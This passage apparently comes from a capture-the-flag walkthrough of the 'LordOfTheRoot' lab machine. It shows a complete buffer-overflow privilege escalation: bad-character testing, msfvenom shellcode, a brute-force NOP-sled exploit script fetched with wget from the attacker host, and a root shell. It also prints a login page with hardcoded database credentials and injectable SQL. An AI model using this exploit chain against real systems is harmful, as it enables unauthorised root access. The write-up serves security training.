x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3
f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\
x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8
a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\
xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd
5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\
xfb\xfc\xfd\xfe\xff"'`
Starting program: /root/Walkthroughs/lordoftheroot/door `python -c 'print "A"*171 + "B"*4 + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\
x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x3
4\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\
x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7
f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\
xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xc
a\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\
xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────
EAX  0x0
EBX  0x0
ECX  0xffffd140 ◂— 0x42424241 ('ABBB')
EDX  0xffffce8b ◂— 0x42424241 ('ABBB')
EDI  0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d9d6c */
ESI  0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d9d6c */
EBP  0x41414141 ('AAAA')
ESP  0xffffce90 ◂— 0x4030201
EIP  0x42424242 ('BBBB')
──────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────
Invalid address 0x42424242


──────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffce90 ◂— 0x4030201
01:0004│      0xffffce94 ◂— 0x8070605
02:0008│      0xffffce98 —▸ 0xffffcf00 —▸ 0x804845d (main) ◂— push   ebp
03:000c│      0xffffce9c —▸ 0xffffceb4 ◂— 0x0
04:0010│      0xffffcea0 ◂— 0x1
05:0014│      0xffffcea4 ◂— 0x0
06:0018│      0xffffcea8 —▸ 0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d9d6c */
07:001c│      0xffffceac ◂— 0xffffffff
────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────
►  f 0 42424242
   f 1  4030201
   f 2  8070605
Program received signal SIGSEGV (fault address 0x42424242)

We can see eip still has or 'B's. Let's check the memory for our bad characters.

pwndbg> x/8x 0xffffd141
0xffffd141:     0x42424242      0x04030201      0x08070605      0x0d0c0b00
0xffffd151:     0x11100f0e      0x15141312      0x19181716      0x1d1c1b1a

We can see \x09 and \x0a both didn't make it. We'll remove those and try again.

pwndbg> x/8x 0xffffce90
0xffffce90:     0x04030201      0x08070605      0x0e0d0c0b      0x1211100f
0xffffcea0:     0x16151413      0x1a191817      0x1e1d1c1b      0xffff001f

Looks like we hit another snag at \x20. We'll remove that one and try again.

pwndbg> x/100x 0xffffce90
0xffffce90:     0x04030201      0x08070605      0x0e0d0c0b      0x1211100f
0xffffcea0:     0x16151413      0x1a191817      0x1e1d1c1b      0x2322211f
0xffffceb0:     0x27262524      0x2b2a2928      0x2f2e2d2c      0x33323130
0xffffcec0:     0x37363534      0x3b3a3938      0x3f3e3d3c      0x43424140
0xffffced0:     0x47464544      0x4b4a4948      0x4f4e4d4c      0x53525150
0xffffcee0:     0x57565554      0x5b5a5958      0x5f5e5d5c      0x63626160
0xffffcef0:     0x67666564      0x6b6a6968      0x6f6e6d6c      0x73727170
0xffffcf00:     0x77767574      0x7b7a7978      0x7f7e7d7c      0x83828180
0xffffcf10:     0x87868584      0x8b8a8988      0x8f8e8d8c      0x93929190
0xffffcf20:     0x97969594      0x9b9a9998      0x9f9e9d9c      0xa3a2a1a0
0xffffcf30:     0xa7a6a5a4      0xabaaa9a8      0xafaeadac      0xb3b2b1b0
0xffffcf40:     0xb7b6b5b4      0xbbbab9b8      0xbfbebdbc      0xc3c2c1c0
0xffffcf50:     0xc7c6c5c4      0xcbcac9c8      0xcfcecdcc      0xd3d2d1d0
0xffffcf60:     0xd7d6d5d4      0xdbdad9d8      0xdfdedddc      0xe3e2e1e0
0xffffcf70:     0xe7e6e5e4      0xebeae9e8      0xefeeedec      0xf3f2f1f0
0xffffcf80:     0xf7f6f5f4      0xfbfaf9f8      0xfffefdfc      0xffffdf00
0xffffcf90:     0xffffdf6b      0xffffdf9e      0xffffdfb2      0xffffdfc5
0xffffcfa0:     0x00000000      0x00000020      0xf7fd3070      0x00000021
0xffffcfb0:     0xf7fd2000      0x00000010      0x0f8bfbff      0x00000006
0xffffcfc0:     0x00001000      0x00000011      0x00000064      0x00000003
0xffffcfd0:     0x08048034      0x00000004      0x00000020      0x00000005
0xffffcfe0:     0x00000008      0x00000007      0xf7fd4000      0x00000008
0xffffcff0:     0x00000000      0x00000009      0x08048360      0x0000000b
0xffffd000:     0x00000000      0x0000000c      0x00000000      0x0000000d
0xffffd010:     0x00000000      0x0000000e      0x00000000      0x00000017

Great! We were able to pass all the rest of the characters (I've highlighted the start and end in green). Let's go ahead and generate our shell code using msfvenom (excluding the bad characters we detected).

root@kali:~/Walkthroughs/lordoftheroot# msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
Final size of c file: 319 bytes
unsigned char buf[] =
"\xbe\x41\x30\xa2\x6f\xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x0b\x83\xea\xfc\x31\x72\x11\x03\x72\x11\xe2\xb4\x5a\xa9\x37"
"\xaf\xc9\xcb\xaf\xe2\x8e\x9a\xd7\x94\x7f\xee\x7f\x64\xe8\x3f"
"\xe2\x0d\x86\xb6\x01\x9f\xbe\xc1\xc5\x1f\x3f\xfd\xa7\x76\x51"
"\x2e\x5b\xe0\xad\x67\xc8\x79\x4c\x4a\x6e";

Finally, we need to see if we have a call or jmp to esp (since we can't control eax). This will allow us to more predictably control the flow of our exploit.

root@kali:~/Walkthroughs/lordoftheroot# objdump -D door | grep -P 'jmp|call' | grep esp

Nothing! Looks like we will have to write a large chunk of NOPs (no operation) to the stack, then randomly jump into the stack and slide down to our exploit code. Not the cleanest way to do things, but thankfully this isn't a "one shot at it" program. We can run it over and over until it works.

We'll run the vulnerable program a few times on the victim to get an idea of a good address to set eip to. We'll also try to disable ASLR (using ulimit) to get more predictable address space.

smeagol@LordOfTheRoot:~$ ulimit -s unlimited

We'll use the following bash script to send our exploit code until we get a shell.

root@kali:~/Walkthroughs/lordoftheroot# cat exploit.sh
#!/bin/bash
while true; do
  $(find /SECRET -type f -size 5150c) $(python -c 'print "A"*171 + "\x50\x85\xc9\xbf" + "\x90"*20480 + "\xbe\x41\x30\xa2\x6f\xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x0b\x83\xea\xfc\x31\x72\x11\x03\x72\x11\xe2\xb4\x5a\xa9\x37\xaf\xc9\xcb\xaf\xe2\x8e\x9a\xd7\x94\x7f\xee\x7f\x64\xe8\x3f\xe2\x0d\x86\xb6\x01\x9f\xbe\xc1\xc5\x1f\x3f\xfd\xa7\x76\x51\x2e\x5b\xe0\xad\x67\xc8\x79\x4c\x4a\x6e"') 2> /dev/null
  sleep 1
done

I transferred the exploit to the victim (using python's SimpleHTTPServer) and kicked it off.

smeagol@LordOfTheRoot:~$ wget -O exploit.sh 10.183.0.222:4321/exploit.sh
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 443 [text/x-sh]
Saving to: 'exploit.sh'

100%[============================================================================================================>] 443         --.-K/s   in 0s

2019-05-09 09:46:12 (74.1 MB/s) - 'exploit.sh' saved [443/443]

smeagol@LordOfTheRoot:~$ chmod +x exploit.sh
smeagol@LordOfTheRoot:~$ ./exploit.sh
[...]
id
uid=1000(smeagol) gid=1000(smeagol) euid=0(root) groups=0(root),1000(smeagol)

Once the seg fault errors stopped scrolling by, we knew we had a shell.

Time to get that flag from /root.

cd /root
cat Flag.txt
"There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power."
– Gandalf


Pivoting

N/A


Clean Up


*** REMOVE /home/smeagol/exploit.sh ***


Additional Info


MySQL credentials

We are able to see the mysql credentials for 'root' in the login.php page.

smeagol@LordOfTheRoot:/var/www/978345210$ cat login.php
<?php
session_start(); // Starting Session
$error=''; // Variable To Store Error Message
if (isset($_POST['submit'])) {
        if (empty($_POST['username']) || empty($_POST['password'])) {
                $error = "Username or Password is invalid";
        }
        else
        {
                // Define $username and $password
                $username=$_POST['username'];
                $password=$_POST['password'];
                $db = new mysqli('localhost', 'root', 'darkshadow', 'Webapp');

                // To protect MySQL injection for Security purpose
                $username = stripslashes($username);
                $password = stripslashes($password);

                $sql="select username, password from Users where username='".$username."' AND password='".$password."';";
                //echo $sql;
                $query = $db->query($sql);
                $rows = $query->num_rows;

                if ($rows == 1) {
                        $_SESSION['login_user']=$username; // Initializing Session
                        header("location: profile.php"); // Redirecting To Other Page
                } else {
                        $error = "Username or Password is invalid";
                }
        }
}
?>

I tried the root password for the system root account, but it didn't work.


switcher.py

Here is the script that was playing the shell game with the vulnerable version of 'file'.

root@LordOfTheRoot:~# cat switcher.py
#!/usr/bin/python
import os
from random import randint

targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"]
for t in targets:
   os.system("rm "+t+"*")
   os.system("cp -p other "+t)
   os.system("cp -p "+t+"other "+t+"file")
   os.system("rm "+t+"other")

luckyDoor = randint(0,2)
t=targets[luckyDoor]
os.system("rm "+t+"*")
os.system("cp -p buf "+t)
os.system("cp -p "+t+"buf "+t+"file")
os.system("rm "+t+"buf")

It was set up to run every 3 minutes in root's crontab.

root@LordOfTheRoot:~# crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h  dom mon dow   command
*/3 * * * * /root/switcher.py


smeagol's Home Directory

Digging into the user's home directory, we have a .bash_history file with some interesting commands. Unfortunately, we can't actually run any of the commands.

smeagol@LordOfTheRoot:~$ cat .bash_history
su -
sudo /etc/passwod
visudo
smeagol@LordOfTheRoot:~$ sudo -l
[sudo] password for smeagol:
Sorry, user smeagol may not run sudo on LordOfTheRoot.

We also have a Firefox profile with some potentially good stuff...

smeagol@LordOfTheRoot:~/.mozilla/firefox/jbyf45od.default$ ls
addons.json           cookies.sqlite-shm  gmp                      mimeTypes.rdf       prefs.js                      times.json
blocklist.xml         cookies.sqlite-wal  gmp-gmpopenh264          minidumps           revocations.txt               webapps
bookmarkbackups       crashes             healthreport             permissions.sqlite  search.json                   webappsstore.sqlite
cert8.db              datareporting       healthreport.sqlite      places.sqlite       secmod.db                     webappsstore.sqlite-shm
compatibility.ini     extensions.ini      healthreport.sqlite-shm  places.sqlite-shm   sessionCheckpoints.json       webappsstore.sqlite-wal
content-prefs.sqlite  extensions.json     healthreport.sqlite-wal  places.sqlite-wal   sessionstore-backups          xulstore.json
cookies.sqlite        formhistory.sqlite  key3.db                  pluginreg.dat       SiteSecurityServiceState.txt

There isn't a logins.json or signons.sqlite file, though... so we'll keep digging around.

We found the users Gnome Keyring...

smeagol@LordOfTheRoot:~/.local/share/keyrings$ ls
login.keyring  user.keystore  user.keystore.N5T84X

...but it doesn't seem to have much in it.